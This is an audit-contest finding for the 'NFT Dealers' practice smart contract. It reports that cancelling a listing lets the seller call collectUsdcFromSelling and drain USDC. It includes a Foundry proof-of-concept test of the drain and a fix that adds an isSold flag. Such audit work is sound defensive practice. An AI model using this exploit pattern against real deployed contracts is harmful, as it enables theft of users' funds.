NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Fund Drain via "cancelListing" and "collectUsdcFromSelling"

auwal_security

Root + Impact

Description

  • The "collectUsdFromSelling()" only checks wether "tokenId" is false. And the protocol desing is to set the "tokenId" active when listing and false after it is sold.

  • The problem is that, "cancelListing()" also set the "tokenId" false. this is good since the listing was cancel. But malicious user can easily take advantage of it and break the protocol.

@> require(!listing.isActive, "Listing must be inactive to collect USDC");

Risk

Likelihood:

  • the malicious user can easily break the protocol by just mint, list, 'cancelListing, and 'collectUsdFromSelling()'

Impact:

  • Breaking the protocol

  • Stealing the funds in the contract

Proof of Concept

Below is the proof of code which prove the malicious user successfully steal the funds from the contract by just minting the NFT, list the NFT then cancel the listing and steal the funds with his in active "tokenId"

function testAttackerStealFundsByCancelListingAndCollectUsdFromSelling() public revealed {
// user 1 mint and list
uint256 userWithCashTokenId = 1;
uint256 userWithCashPrice = 50e6;
mintAndListNFTForTesting(userWithCashTokenId, userWithCashPrice);
// user 2 mint and list
uint256 newUserTokenId = 2;
uint256 newUserPrice = 100e6;
mintAndListNFTForTestingNewUser(newUserTokenId, newUserPrice);
// attacker mint and list
uint256 attackerTokenId = 3;
uint256 attackerPrice = 100e6;
uint256 attackFee = nftDealers.calculateFees(attackerPrice);
mintAndListNFTForTestingAttacker(attackerTokenId, attackerPrice);
// attacker cancel the list
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId);
uint256 balanceOfAttackerBefore = usdc.balanceOf(attacker);
​
vm.startPrank(buyer);
// Buyer buys
usdc.approve(address(nftDealers), 150e6);
nftDealers.buy(1);
nftDealers.buy(2);
// balance of the contarct before
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
vm.stopPrank();
// attacker steal funds
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
vm.stopPrank();
​
// the contract balance after
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
​
// balance of attacker after
uint256 balanceOfAttackerAfter = usdc.balanceOf(attacker);
assertLt(contractBalanceAfter, contractBalanceBefore);
assertGt(balanceOfAttackerAfter, balanceOfAttackerBefore);
}
​

Recommended Mitigation

Add the boolean isSold in the "Listing" struct. So that there will be difference between selling and cancel

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold;
}
​
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!